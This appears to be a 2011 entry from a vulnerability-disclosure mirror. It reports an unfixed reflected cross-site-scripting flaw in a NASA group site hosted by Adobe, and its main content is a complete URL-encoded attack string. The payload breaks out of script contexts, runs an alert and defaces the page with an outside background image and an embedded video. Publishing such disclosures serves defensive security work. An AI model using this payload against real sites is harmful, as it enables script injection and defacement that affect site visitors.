Security researcher Sony, has submitted on 29/08/2011 a cross-site-scripting (XSS) vulnerability affecting nasa.groups.adobe.com, which at the time of submission ranked 65 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 09/12/2011. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 29/08/2011 |
Date published: 09/12/2011 |
Fixed? Mail us! | Status:  UNFIXED |
| Author: Sony |
Domain: nasa.groups.adobe.com |
Category: XSS |
Pagerank: 65 |
|---|
URL: http://nasa.groups.adobe.com/index.cfm?event=group.search&groupid=1128&keywords=%27%3Balert%28String
.fromCharCode%2888%2C83%2C83%29%29%2F%2F\%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2
F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F\%22%3Balert%28String.fromCharCode%2888
%2C83%2C83%29%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2
C83%2C83%29%29%3C%2FSCRIPT%3E%3Cstyle%3Ebody{visibility:hidden;}%20html%20{%20background-image:%20ur
l%28http://www.lenagold.ru/fon/list/klen/klen12.jpg%29;%20}%3C/style%3E%27%22%3E%3Cdiv%20style=%22po
sition:%20absolute;left:%20420px;top:%2040px;%E2%80%8B%E2%80%8Bz-index:%2010;visibility:%20visible;%
20color:%20White;%20font-size:%2040px;%22%3E%3Ciframe%20width=%22420%22%20height=%22345%22%20src=%22
http://www.youtube.com/embed/74ro88k22Rs%22%20frameborder=%220%22%20allowfullscreen%3E%3C/iframe%3E&
lastactivity=in+the+last+year&author=&type= |
|
Click here to view the mirror
|
|
|
| 
